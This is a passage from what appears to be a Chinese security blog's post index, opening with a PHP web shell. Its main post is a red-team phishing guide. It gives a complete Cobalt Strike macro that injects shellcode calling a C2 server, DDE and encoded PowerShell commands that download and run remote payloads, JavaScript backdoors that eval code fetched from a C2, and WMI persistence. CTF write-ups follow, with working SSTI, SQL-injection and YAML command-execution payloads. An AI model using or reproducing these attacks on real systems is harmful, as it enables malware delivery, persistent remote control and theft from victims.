text/php<?phpeval($_REQUEST[a]);-----------------------------6693638881479522630623693797-- 利用popen()绕过disabled_function","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://patrilic.top/tags/CTF/"}]},{"title":"Phishing Attack - 文件落地","slug":"Phishing Attack - 文件落地","date":"2019-07-18T03:20:33.000Z","updated":"2019-08-20T15:27:23.041Z","comments":true,"path":"2019/07/18/Phishing Attack - 文件落地/","link":"","permalink":"http://patrilic.top/2019/07/18/Phishing Attack - 文件落地/","excerpt":"","text":"@Author: Patrilic@Time: 2019-07-18 11:20:33[toc]鱼叉攻击,作为一种常见的攻击形式,中心思想就是将shellcode以各种形式进行伪装,然后诱使受害者启动程序,利用C2服务器进行远程命令执行 鱼叉攻击的难点: 信任伪造 – 常见的有swaks伪造邮件,DNS劫持,改写被信任网站等 免杀 – 能规避市面上大多数杀毒软件,不被发现 维持进程 – 长期控制,,开机自启 不暴露 – 不落地,依附进程,certutil等 本文意在总结一些较为常见的利用方式,不是很注重文笔,看看就好,一些脚本是直接copy大手子@3gstudent师傅的,然后关于类似与CobaltStrike的Spear phish以及Nginx的玩法,单独进行总结 0x00 OfficeOffice MacroOffice文档内置宏,可利用VB远程命令执行回弹到C2服务器👇由CobaltStrike生成的Macro病毒样本 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As LongEnd TypePrivate Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As LongEnd Type#If VBA7 Then Private Declare PtrSafe Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr Private Declare PtrSafe Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr Private Declare PtrSafe Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#Else Private Declare Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long Private Declare Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long Private Declare Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#End IfSub Auto_Open() Dim myByte As Long, myArray As Variant, offset As Long Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim sProc As String#If VBA7 Then Dim rwxpage As LongPtr, res As LongPtr#Else Dim rwxpage As Long, res As Long#End If myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,-46,4,0,0,83,80,104,87,-119,-97, _-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _-1,-1,47,74,112,110,52,0,71,-37,19,-87,58,-110,11,66,63,40,-36,-114,-75,-101,62,108,29,-115,-75,-106,35,-3,71,126,24,-107,101,80,116,13,70,52, _101,6,59,-12,-45,32,103,-104,10,62,77,18,-84,12,58,23,80,56,-75,32,-39,8,-80,107,-43,108,71,63,20,41,-82,-42,23,58,-126,98,-100,-108,-126,76, _-44,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _83,73,69,32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,84,114,105,100,101,110,116,47,53,46,48,59,32,66,79, _73,69,57,59,69,78,85,83,77,83,69,41,13,10,0,53,-24,107,-26,-93,106,-40,-71,-105,-127,-22,100,-16,117,-9,83,112,-101,60,-4,105,72,-127,96,-60, _-29,27,-62,-29,98,-95,-56,-46,-6,-57,-39,7,23,-70,101,-16,86,-85,-15,25,102,48,-46,-118,-62,1,-19,85,56,18,-105,41,124,102,116,-54,50,-67,81,-20, _40,-19,-52,101,6,116,118,-128,-118,-9,-46,-96,-122,116,-70,107,-54,-78,59,119,-51,-52,5,96,53,-9,-60,102,-96,109,-90,-122,-92,-81,34,-70,-106,10,7,121, _-6,-5,-12,107,-44,73,-31,52,87,-89,13,77,-121,-68,-37,74,-23,54,59,-122,79,66,65,-39,58,121,-100,20,53,28,27,-15,29,52,-107,127,-89,40,-4,-122, _-73,-101,75,-64,-59,111,105,16,79,-121,7,33,-121,58,125,79,59,31,-97,-45,25,105,90,-99,6,38,74,-22,86,17,-99,-58,-36,55,5,-96,-109,48,42,-66, _-23,-116,-38,-13,-33,89,30,32,90,53,11,119,118,-33,-48,77,24,-76,-11,44,50,-68,-127,-70,-43,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,53,46,51,50,46,55,56,46,49,49,55,0,111,-86,81,-61) If Len(Environ(\"ProgramW6432\")) > 0 Then sProc = Environ(\"windir\") & \"\\\\SysWOW64\\\\rundll32.exe\" Else sProc = Environ(\"windir\") & \"\\\\System32\\\\rundll32.exe\" End If res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40) For offset = LBound(myArray) To UBound(myArray) myByte = myArray(offset) res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&) Next offset res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)End SubSub AutoOpen() Auto_OpenEnd SubSub Workbook_Open() Auto_OpenEnd Sub 代码分析: sProc为rundll32.exe的路径然后RunStff -> CreateProcessA使用rundll32创建进程,然后使用WriteStuff注入shellcode(myArray) PS: 同时也可用Msf 或者 Empire等工具生成Macro后门 Office DDECtrl + F9 (Command + F9)可开启域填入代码即可1DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe "/k calc.exe" \\* MERGEFORMAT 联动MSF (web_delivery):1DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe "/k regsvr32 /s /n /u /i:http://192.168.0.1/A9IcXi.sct scrobj.dll" 这种方式回需要受害者确认打开进程,有一定风险 Excel IQYIQY是一个Excel Web查询用到的东西,可以直接吧互联网上的东西打印到表中数据->倒入数据->新建Web查询 1=cmd|'/c calc.exe '!A0 单引号内调用恶意程序 同样需要受害者确认打开进程 OLEOLE - 外部对象常见利用场景见CVE-2017-0199 UNC路径UNC(Universal Naming Convention)就是windows共享进行经典用法:https://github.com/0x09AL/WordSteal 插入UNC路径的图片窃取目标用户NTMLhash Powerpoint Button CVE-2017-0199利用rtf的特性,可以自启动加载OLE调用的外部组件,通过修改Server的MIME类型,让引用的RTF文档解析为HTA文件,执行命令影响版本:Office 2007,Office 2010,Office 2013,Office 2016 注意点:使用Notepad++将生成的rtf文档里的\\object\\objautlink\\rsltpict替换为\\object\\objautlink\\objupdate\\rsltpict 至于修改File Server的MIME类型:直接在Apache2的主配置中编辑:AddType application/rtf .rtf CVE-2017-8570原理:利用RTF文档的Packager.dll搭配%temp%目录,将.sct以Packager对象存入,再用rtf文档去调用他,就可以达到利用.sct调用COM接口来执行命令的效果 https://github.com/klionsec/PhishingExploit/blob/master/CVE-2017-8570/packager_composite_moniker.py 0x01 Notepad++ dll后门就是利用notepad++自带的import plugin功能,调用dll达到命令执行 应用场景: 伪造插件进行钓鱼 0x02 JSRATJavascript Backdoor 核心思路是利用rundll32.exe执行javascript代码1rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert(‘foo’); 所以,为什么可以执行呢?JavaScript后门深层分析 JavaScript Phishing 利用DLL 加载 JS12345678910111213141516171819BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char *command=\"cmd.exe /c start rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();h=new\\%20ActiveXObject(\\\"WinHttp.WinHttpRequest.5.1\\\");h.Open(\\\"GET\\\",\\\"http://192.168.1.100/connect\\\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\\%20ActiveXObject(\\\"WScript.Shell\\\").Run(\\\"cmd /c taskkill /f /im rundll32.exe\\\",0,true);}\"; WinExec(command,SW_HIDE); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;} 回弹到192.168.1.100的JSRat.ps1 利用 swf 加载 JS同样的,利用msf自带 windows/exec模块生成shellcode 利用Adobe Flash CS6编译生成swf,配合Adobe Flash Player漏洞即可RCE 利用 浏览器漏洞 加载 JSCVE-2014-6332 等漏洞利用页面执行VB Script12345678<SCRIPT LANGUAGE=\"VBScript\">function runmumaa() On Error Resume Nextset shell=createobject(\"wscript.shell\")shell.run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication \"\";document.write();h=new%20ActiveXObject(\"\"WinHttp.WinHttpRequest.5.1\"\");h.Open(\"\"GET\"\",\"\"http://192.168.174.136/connect\"\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"\"WScript.Shell\"\").Run(\"\"cmd /c taskkill /f /im rundll32.exe\"\",0,true);}\",0end function </script> 利用 VBS 加载 JS利用VBS调用Wscript.shell,运行命令12set shell=createobject(\"wscript.shell\")shell.run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication \"\";document.write();h=new%20ActiveXObject(\"\"WinHttp.WinHttpRequest.5.1\"\");h.Open(\"\"GET\"\",\"\"http://192.168.174.136/connect\"\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"\"WScript.Shell\"\").Run(\"\"cmd /c taskkill /f /im rundll32.exe\"\",0,true);}\",0 利用 CHM 加载 JS利用CHM的后门,加载JS123456789101112<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\" width=1 height=1><PARAM name=\"Command\" value=\"ShortCut\"> <PARAM name=\"Button\" value=\"Bitmap::shortcut\"> <PARAM name=\"Item1\" value=',calc.exe'> <PARAM name=\"Item2\" value=\"273,1,1\"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html> 可执行calc.exe替换为对应js代码即可例如:远程DownloadString JSRA 回连C21powershell -ep bypass -enc PQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAzADoAOAAwADgAMQAvADEALwAnACkAOwAKAA== 生成 Shellcode1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950msf5 payload(windows/messagebox) > use windows/execmsf5 payload(windows/exec) > set CMD rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();h=new%20ActiveXObject(\\\"WinHttp.WinHttpRequest.5.1\\\");h.Open(\\\"GET\\\",\\\"http://192.168.174.136/connect\\\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\\\"WScript.Shell\\\").Run(\\\"cmd /c taskkill /f /im rundll32.exe\\\",0,true);}msf5 payload(windows/exec) > generate -f c/* * windows/exec - 500 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");h.Open(\"GET\",\"http://192.168.174.136/connect\",false);try{h.Send();B=h.ResponseText;eva * l(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd * /c taskkill /f /im rundll32.exe\",0,true);} */unsigned char buf[] =\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\\x50\\x30\"\"\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\"\"\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf2\\x52\"\"\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\"\"\\x51\\x8b\\x59\\x20\\x01\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\"\"\\x01\\xd6\\x31\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\"\"\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\"\"\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\"\"\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\\x5f\\x5a\\x8b\\x12\\xeb\"\"\\x8d\\x5d\\x6a\\x01\\x8d\\x85\\xb2\\x00\\x00\\x00\\x50\\x68\\x31\\x8b\\x6f\"\"\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\"\"\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\"\"\\x00\\x53\\xff\\xd5\\x72\\x75\\x6e\\x64\\x6c\\x6c\\x33\\x32\\x2e\\x65\\x78\"\"\\x65\\x20\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3a\\x22\\x5c\"\"\\x2e\\x2e\\x5c\\x6d\\x73\\x68\\x74\\x6d\\x6c\\x2c\\x52\\x75\\x6e\\x48\\x54\"\"\\x4d\\x4c\\x41\\x70\\x70\\x6c\\x69\\x63\\x61\\x74\\x69\\x6f\\x6e\\x20\\x22\"\"\\x3b\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x77\\x72\\x69\\x74\\x65\"\"\\x28\\x29\\x3b\\x68\\x3d\\x6e\\x65\\x77\\x25\\x32\\x30\\x41\\x63\\x74\\x69\"\"\\x76\\x65\\x58\\x4f\\x62\\x6a\\x65\\x63\\x74\\x28\\x22\\x57\\x69\\x6e\\x48\"\"\\x74\\x74\\x70\\x2e\\x57\\x69\\x6e\\x48\\x74\\x74\\x70\\x52\\x65\\x71\\x75\"\"\\x65\\x73\\x74\\x2e\\x35\\x2e\\x31\\x22\\x29\\x3b\\x68\\x2e\\x4f\\x70\\x65\"\"\\x6e\\x28\\x22\\x47\\x45\\x54\\x22\\x2c\\x22\\x68\\x74\\x74\\x70\\x3a\\x2f\"\"\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x37\\x34\\x2e\\x31\\x33\"\"\\x36\\x2f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x22\\x2c\\x66\\x61\\x6c\\x73\"\"\\x65\\x29\\x3b\\x74\\x72\\x79\\x7b\\x68\\x2e\\x53\\x65\\x6e\\x64\\x28\\x29\"\"\\x3b\\x42\\x3d\\x68\\x2e\\x52\\x65\\x73\\x70\\x6f\\x6e\\x73\\x65\\x54\\x65\"\"\\x78\\x74\\x3b\\x65\\x76\\x61\\x6c\\x28\\x42\\x29\\x3b\\x7d\\x63\\x61\\x74\"\"\\x63\\x68\\x28\\x65\\x29\\x7b\\x6e\\x65\\x77\\x25\\x32\\x30\\x41\\x63\\x74\"\"\\x69\\x76\\x65\\x58\\x4f\\x62\\x6a\\x65\\x63\\x74\\x28\\x22\\x57\\x53\\x63\"\"\\x72\\x69\\x70\\x74\\x2e\\x53\\x68\\x65\\x6c\\x6c\\x22\\x29\\x2e\\x52\\x75\"\"\\x6e\\x28\\x22\\x63\\x6d\\x64\\x20\\x2f\\x63\\x20\\x74\\x61\\x73\\x6b\\x6b\"\"\\x69\\x6c\\x6c\\x20\\x2f\\x66\\x20\\x2f\\x69\\x6d\\x20\\x72\\x75\\x6e\\x64\"\"\\x6c\\x6c\\x33\\x32\\x2e\\x65\\x78\\x65\\x22\\x2c\\x30\\x2c\\x74\\x72\\x75\"\"\\x65\\x29\\x3b\\x7d\\x00\"; 0x03 WSCWSC : Windows ScriptWSC是微软提供快速创建COM组建的途径之前lcx师傅很火的一篇文章: 利用wsc创建asp后门 12345678910111213<?xml version="1.0"?> <package><component id="testCalc"> <script language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]></script> </component></package> JS文件只需调用wsc即可1GetObject(\"script:C:\\\\testwsc\\\\test.wsc\"); 也可进行远程调用1GetObject(\"script:https://raw.githubusercontent.com/patrilic/Backdoors/master/Wsc_backdoor/test.wsc\") 0x04 WMI BackdoorWMI Backdoor - wooyun Drops powershell 利用123不在Client和Server留下任何文件不改动注册表仅使用powershell实现 利用wmi无文件存储payload123456$StaticClass = New-Object Management.ManagementClass('root\\cimv2', $null,$null)$StaticClass.Name = 'Win32_EvilClass'$StaticClass.Put()$StaticClass.Properties.Add('EvilProperty' , "This is payload")$StaticClass.Put() powershell 调用 javascript_backdoor123456789101112$filterName = 'filtP1'$consumerName = 'consP1'$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")" $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} mof 调用 javascript_backdoor123456789101112131415161718192021222324pragma namespace("\\\\\\\\.\\\\root\\\\subscription") instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\\\Cimv2"; Name = "filtP1"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \\"Win32_LocalTime\\" " "And TargetInstance.Second = 1"; QueryLanguage = "WQL";}; instance of ActiveScriptEventConsumer as $Consumer{ Name = "consP1"; ScriptingEngine = "JScript"; ScriptText = "GetObject(\\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\\")";}; instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter;}; 类似的,也可以利用wmi执行其他后门程序,配合使用 具体的可以看这篇http://www.anquan.us/static/drops/tips-8260.html 同时wmi也可使用 vbsmofC / C++.Net等方式进行执行 0x05 Lnk Backdoor可参考evi1cg师傅的文章->Shortcut_Backdoor快捷方式会执行目标里的文件 1Shortcut_gen.exe test.txt test.lnk 这样点击test.lnk 就会执行test.txt中的命令 也可以使用evi1cg师傅的脚本->https://gist.github.com/Ridter/a360f94d8ac9a8c30227e3812dfbb329 0x06 Chm Backdoor通用以上 #利用 CHM 加载 JS不单可利用JS进行执行123456789101112<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html> 利用Object标签,可执行各类shellcode比如利用regsvr32 执行dll,利用mshta执行hta,直接运行powershell,VBS等等前提当然是做好混淆和免杀 0x07 CPL BackdoorCPL (Control Panel Item)CPL文件本质上是DLL, 但是由于他包含CPLApplet函数,所以成为了一个windows可执行文件但是虽然是可执行文件,其实是调用shell32.dll 来运行调用的几种方式: 利用vbs调用cpl123Dim objSet obj = CreateObject("Shell.Application")obj.ControlPanelItem("test.cpl") 利用js调用cpl12var a = new ActiveXObject("Shell.Application");a.ControlPanelItem("c:\\\\test\\\\test.cpl"); 同样,其实可以直接用msf生成一个dll文件,然后修改后缀为.cpl即可,但是存在一个弹窗提示程序兼容性问题解决方式:手动编译reverse_tcp 参考:http://www.anquan.us/static/drops/tips-16042.html 0x08 Windows 利用Unicode 文件名反转相当简单.. 插入RLO字符就可以进行文件名反转,然后可以换图片来更好的伪装 0x09 Winrar Backdoor著名的CVE-2018-20250还没分析过原理..献上学长的Exphttps://github.com/WyAtu/CVE-2018-20250 0x10 CVE-2018-4878影响版本:version <= 28.0.0.137flask 溢出,配合脚本进行攻击就行..现在h5盛行,flash也快退休了 0x11 Nginx 反向代理推一波passer6yhttps://www.anquanke.com/post/id/150436大概就是注册一个相近的域名,然后反代真实服务器,截断明文密码,进行钓鱼,单独分析一波 # Nginx 反向代理实战","categories":[{"name":"Red-Team Tricks","slug":"Red-Team-Tricks","permalink":"http://patrilic.top/categories/Red-Team-Tricks/"}],"tags":[{"name":"Backdoor","slug":"Backdoor","permalink":"http://patrilic.top/tags/Backdoor/"}]},{"title":"CISCN2019-西南赛区部分Web题解","slug":"CISCN2019-西南赛区部分Web题解","date":"2019-06-10T07:08:02.000Z","updated":"2019-08-20T15:27:04.138Z","comments":true,"path":"2019/06/10/CISCN2019-西南赛区部分Web题解/","link":"","permalink":"http://patrilic.top/2019/06/10/CISCN2019-西南赛区部分Web题解/","excerpt":"","text":"@Author: Patrilic@Time: 2019-06-10 15:08:02拿了个第四..师傅们tql,没想到纯Web队伍也有翻身的一天(滑稽) Ciscn-q07先注册一个admin’# 的账号然后直接文件上传直接传php(不用<?php)改mime为image/jpeg就getshell了.. 判定了一个admin的权限 Ciscn-q09注册用户登陆的时候,发现存在sql注入登陆进去之后发现注释有提示,存在admin的账号,注册一个用户名为下面的账号,登陆即可注入admin的密码1username='&amp;&amp; extractvalue(1,concat(0x7e,(select `3` from (select 1,2,3 union select * from user)a limit 1,1)))# 用admin的账号和密码登陆提示orange的SSRF,可控url就是bug反馈 携带cookie去请求flag.php即可获得flag Ciscn 8URL:172.16.9.18看着有计算功能,并且是PY,直接想SSTI,试了下 2得到输出结果为2,确定了SSTI 然后就是用payload了,不过测试过程中发现了两个过滤的点 一个是括号,一个是open字符串,不过都可以用双写来绕过 括号只是单独的括号就会被置换为空,如果里面有字符的话就不会置换为空 比如 () 要用 (()) 绕, open 要用 opopenen 绕于是最终的payload为1{{"".__class__.__mro__.__getitem__(1).__subclasses__(())[302].__init__.__globals__['poopenpen']('cat flag').read(())}} Ciscn 10URL: 172.16.9.20点击忘记密码 修改后可直接登录admin 猜测yaml命令执行执行ls结果 Payload:1234!!map {? !!str "goodbye": !!python/object/apply:subprocess.check_output [!!str "ls",],} 准备构造payload 进行cat /flag时发现别人上传了5.yml直接访问即可: flag{81595b84-317b-434a-b45f-6aea2c37722c}","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://patrilic.top/tags/CTF/"}]},{"title":"QWB2019 Web -随便注(题解)","slug":"QWB2019 Web -随便注(题解)","date":"2019-06-05T12:59:32.000Z","updated":"2019-08-20T15:28:04.484Z","comments":true,"path":"2019/06/05/QWB2019 Web -随便注(题解)/","link":"","permalink":"http://patrilic.top/2019/06/05/QWB2019 Web -随便注(题解)/","excerpt":"","text":"@Author: Patrilic@Time: 2019-06-05 20:59:32很少遇到使用 mysqli_multi_query() 的题目,做个记录 概率论使我憔悴 0x01 思路打开题目,就一个<input>标签,随便输一个数字,burp抓一下 感觉是一般的select语句1select id, data from table_name where id = {$inject} 测一下过滤情况随便输入一个爆出过滤情况1return preg_match(\"/select|update|delete|drop|insert|where|\\./i\", $inject); 尝试一波extractvalue(),无果.. 然后就在测试一些常用的情况,类似于1if((substr(user(),1,1)>'a'),sleep(5),1); 后来@hpdoger告诉我说可以堆叠查询..于是乎..1show databases; 1show tables 1describe`1919810931114514` 1show variables like 'version' 所以现在的信息就是1234database: supersqlitable: 1919810931114514column: flagversion: 10.0.27-MariaDB-0ubuntu0.16.04.1 然后还有个好玩的:查看grant的时候: ;SHOW GRANTS FOR CURRENT_USER() 现在目标明确,就是要1select flag from 191981093111414 方法1利用set将select flag from 1919810931114514写入变量@patrilic中,利用prepare将变量设置为预处理,然后再execute 主要可以bypass掉select,用char()函数带入。1set @patrilic=concat(char(115,101,108,101,99,116,32),char(102,108,97,103,32),char(102,114,111,109,32),1919810931114514); 然后直接执行即可.payload:1inject=';SET+@patrilic=concat(char(115,101,108,101,99,116,32),char(102,108,97,103,32),char(102,114,111,109,32),char(96),1919810931114514,char(96));prepare+patrilic+from+@patrilic;execute+patrilic%23 参考:https://blog.csdn.net/qq_42030417/article/details/80372800 方法2利用mysql::handler 也可使用别名 payload:1inject=';handler+`1919810931114514`+open;handler`1919810931114514`read+first%23 参考:https://dev.mysql.com/doc/refman/5.7/en/handler.htmlhttps://blog.csdn.net/JesseYoung/article/details/40785137 方法3…","categories":[{"name":"Write-up","slug":"Write-up","permalink":"http://patrilic.top/categories/Write-up/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://patrilic.top/tags/CTF/"}]},{"title":"Command Execute By mshta","slug":"Command Execute By mshta","date":"2019-05-08T03:20:33.000Z","updated":"2019-08-20T15:30:06.327Z","comments":true,"path":"2019/05/08/Command Execute By 